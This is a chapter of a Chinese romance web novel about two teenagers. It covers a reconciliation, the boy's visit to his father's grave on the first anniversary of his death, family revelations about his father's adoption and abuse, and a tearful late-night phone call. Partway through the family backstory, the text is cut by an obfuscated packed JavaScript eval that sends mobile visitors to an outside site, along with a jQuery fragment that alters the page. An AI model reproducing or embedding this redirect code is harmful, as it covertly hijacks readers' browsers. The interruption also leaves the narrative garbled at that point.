40. 忌日

作品:《竹马他傲娇又绿茶

    为了弥补自己爽约的过失,第二天宋西宝又单独约了程书逸一次,但这次程书逸却傲娇地表示自己没空、不想去。


    这话一听就是敷衍她的。


    宋西宝现在对他的脾气已经是了若指掌了,知道这就是对方在等她给他递和好的台阶呢,于是她专门跑了一趟一小后门,买了一堆他爱吃的麻辣串打包回来,登门给他赔礼道歉。


    程书逸开门时脸还是臭的,但看到宋西宝“噔噔”献上食物后,傲娇少年立刻没绷住偏开了脸,同时嘴里嘀咕道:“你别以为这点小恩小惠就能收买我,下次你自己试试等俩小时再被人爽约呢!”


    宋西宝半点不挣扎,直接滑跪道:“是,都是我的错,下次换我等你,我等八个小时!”


    宋西宝表情夸张地比出一个“八”的手势。


    “嘿嘿,先让我进去嘛,我都好久没看到饼干了。”宋西宝说。


    程书逸浅白一眼拉开门让她进来了,宋西宝顺手把食物递给他就扑到他卧室去了:“饼干我来啦!!”


    饼干早在听到宋西宝声音的时候就躲进了床底下,不过邪恶的人类是不会就此放过它的——


    宋西宝从兜里掏出她提前准备好的线团,扯出长长的一根抛了出去,然后慢慢地往回收。


    床底下,饼干肚皮贴地,双眼放光看着地上那根慢慢移动的线,蹭地一下射了出去,然后被宋西宝一把抱了起来。


    饼干:“……喵!”


    邪恶的人类!快放开本喵!


    宋西宝抱着饼干,脸埋在饼干毛茸茸的肚皮上狂吸,程书逸靠在门口,饼干不敢置信地冲程书逸喵了两声,像是在说:你就这么看着?不做点什么吗?


    过了会儿,程书逸终于开口了,他说:“你小心它生气抓你,该给它剪指甲了。”


    饼干:“……喵喵喵???”


    你说的这还是人话?


    撸完猫,两人坐在客厅边看电视边吃串串,宋西宝跟程书逸讲了她提议的“寻找笔友”活动,还说李欢学姐说到时候社联部也会派人来跟他们对接一起执行。


    “你要不跟你们部长说一下派你来?这样咱俩就能一起做了。”宋西宝说,


    程书逸瞥她一眼:“你很想我来啊?”


    宋西宝点头道:“肯定啊,咱俩熟人啊!”


    程书逸默默在心里翻了个白眼。


    “那你恐怕要失望了。”程书逸说。


    宋西宝:“啊?为啥?”


    程书逸:“下周我要请假。”


    “请假?你请什么假?”宋西宝问。


    程书逸看了眼斜对面摆着的遗像,说:“我爸一周年忌日要到了,我得跟我妈一起回趟老家。”


    宋西宝吃串串的手一顿,扭头看着他,突然哽住了似的不知道该说些什么。


    程书逸仿佛没看到她视线似的,俯身拿起一串炸青椒说:“最后一串青椒了,你吃不吃?不吃我吃了啊!”


    宋西宝这才猛地回神,一把抢过青椒道:“你刚都吃了两串了!这串是我的!”


    程书逸笑,让给了她:“给你给你!”


    宋西宝一手一串,左右开弓,程书逸歪靠在沙发上看着电视屏幕里的电影,思绪却已经放空了。


    忽然,他听见旁边宋西宝说:“程书逸,等你回来咱们叫上师爷他们一起去吃辣串串吧,不然显得咱俩跟吃独食一样。”


    程书逸仍旧看着电视机,嘴角微动,想也不想便说:“好啊。”


    宋西宝忽然逼近了他:“说好了啊!你可别爽约!”


    程书逸轻哼一声,跑偏的思绪终于回笼,他偏头睨了她一眼,不屑道:“你以为我跟你似的。”


    *


    程书逸请假和老妈一起回了趟老家青河。


    回青河的路上,程书逸一直很恍惚——就一年了吗?时间过得好快。


    他不愿也无法相信,父亲竟然已经走了快一年了。


    这一年里,他正常学习,正常生活,日子过得好像比起之前也没有太大差别,甚至因为回到了熟悉的城市,见到了熟悉的朋友,生活比起以往还多了不少欢乐和趣味。


    我是不是不应该过得这么快乐?


    程书逸忍不住在心里责问自己。


    少年望着车窗外连绵起伏的山脉逐渐失神。


    这一年里,老妈变得异常忙碌,总是来去匆匆,不停地出差,他知道,她是刻意想让自己忙碌起来,他也知道,她不想待在现在这个家里。


    这个家有爸爸的影子,却永远也没有爸爸这个人了。


    他们家在这一年里,变得越来越安静。


    只有我一个人感到幸福也是可以的吗?


    程书逸万分真切地感觉到自己心里的罪孽感在一点点的加重,他忽然有点畏惧去看望父亲了。


    “要到了。”古晓琴转过头握他的手,察觉到他手一片冰凉后立刻皱眉担忧地问,“小逸?你没事吧?”


    “我没事妈。”程书逸笑容勉强地回握住女人的手。


    古晓琴还是不放心,劝他道:“你要是不想去咱们现在就掉头,爸爸不会怪我们的,嗯?”


    程书逸摇了摇头,说:“我想去,妈,我……我想爸爸了。”


    古晓琴听了这话,鼻头一酸,差点落下泪来。


    她紧握住儿子的手,别过头,眼望着窗外,过了好一会儿,才叹息似的说了句:“妈妈也想你爸爸了。”


    程方舟的埋骨之地就在程家老宅后面的山坡上,常年有青松作伴,视野开阔,也算是一块风水宝地。


    自程方舟死后,程老爷子这两年越发糊涂起来,一看见程书逸,竟把他当作了儿子程方舟。


    老爷子坐在二楼客厅里颠三倒四地骂,一会儿骂养他不如养条狗,这么久都不回来看看爹娘;一会儿又骂他灾星降世,克死了弟弟和亲娘。


    烧周年用的东西回来路上经过县城的时候古晓琴已经买齐了,母子俩本来是想回来跟老爷子说一声,看要不要一起去烧纸,但眼见老爷子是这个态度,便算了。


    往后山去的路上,程书逸问妈妈:“爷爷说我爸是灾星,克死了弟弟和奶奶是什么意思?爷爷奶奶还有个儿子吗?”


    古晓琴先是沉默了一阵,然后才嗯了声,解释说:“我跟你爸爸一直没跟你讲过这件事,其实你爸爸是你爷爷奶奶抱来的,那时候你爷爷奶奶结婚好几年了,一直怀不上,就托人想办法抱养了你爸爸,结果你爸长到四岁上,你奶奶突然又怀上了,生下来还是个儿子……”


    有了亲生的,自然就没那么疼抱养的了。


    年幼的程方舟还以为是自己做错了事


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053547|159763||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    惹得爸妈不高兴,天天在家里抢着干活,瘦成竹竿一样也不敢多喊一声肚子饿。


    可惜亲生的注定是个命短的,才长到两岁上就因为一场病下了黄泉。


    程老太太也不知怎么想的,竟把这丧子之痛“托付”到了养子程方舟身上,连着几顿好打,又将他锁在猪圈不闻不问,要不是程老爷子及时将他救出来带去看医生,只怕又是一条人命就没了。


    “……你爸爸心善,这么多年,虽然也记恨你爷爷奶奶,但还是念着他们给他一口饭吃,又送他上学的恩情,所以他生前,我们一家也没跟你爷爷奶奶断了来往。”古晓琴说起这些往事,眼泪不知不觉间就流了满面。


    程书逸是第一次听说这些事,他突然明白了小时候奶奶为什么会那么对他,原来是因为恨。


    奶奶恨爸爸,也恨他。


    乡下的习俗,人去世要满三年才能立碑。


    程书逸蹲在坟包前给父亲烧纸,母亲在一旁絮絮叨叨地同父亲说着这一年来发生的事,时而因为哽咽停下来。


    山风乍起,程书逸不自觉抬手抓住一片半空中飞舞打转的纸灰,顿时心中大恸。


    爸爸,若有来生,换我替你背负所有吧。


    若有来生,若有来生……


    ……


    当天夜里凌晨,宋西宝正躲在被窝里看小说,程书逸忽然打来电话,她还惊了一跳,接起来后只敢悄悄地“喂”了一声。


    但是电话那头却没有人说话,她拼命把手机往耳朵上怼,依稀听到了几声狗叫声,声音很空旷,像是在乡下的院子里。


    她喊:“程书逸?”


    电话那头轻轻“嗯”了一声。


    宋西宝听见他声音,一下放下心来,问他:“你这么晚了还没睡吗?”


    程书逸说:“睡不着。”


    宋西宝“噢”了声,说:“那我陪你聊聊天吧。”


    电话那头又轻轻“嗯”了一声。


    宋西宝跟他不缺话题聊,从身边朋友到学校同学,他俩能聊的事太多了。


    她知道他今天心情不好,特意挑了些搞笑的事说。


    比如前几天学校里有同学传教务处主任其实是个秃头,因为有一次他骑车来学校的路上,有同学看见吹大风把他的假发刮跑了,主任还去追了。


    再比如今天中午吃完饭他们往食堂外面走的时候,周笃文一不留神踩在食堂阿姨刚拖的地上摔了个屁股蹲……


    她噼里啪啦说了一大堆,但不管她说什么,电话那边的人始终都没有发出声音。


    “程书逸,你睡着了吗?”


    “没有。”


    “那你怎么都不说话?”


    “西宝……”


    “嗯?”


    “我想我爸爸了。”


    电话那头传来隐忍的啜泣,宋西宝听着听着,怔怔红了眼眶。


    除了小时候她害他受伤那两次,这是第三次他在她面前哭。


    葬礼上他都没哭过。


    一种说不出的心疼狠狠地揪住了宋西宝的心,她忽然生出一个念头——要是她能替他痛、替他哭就好了。


    她绞尽脑汁想说点什么,但总觉得在这样的悲痛面前,不管说什么都是苍白无力的。


    于是她只能沉默,然后时不时告诉他:程书逸,我还在。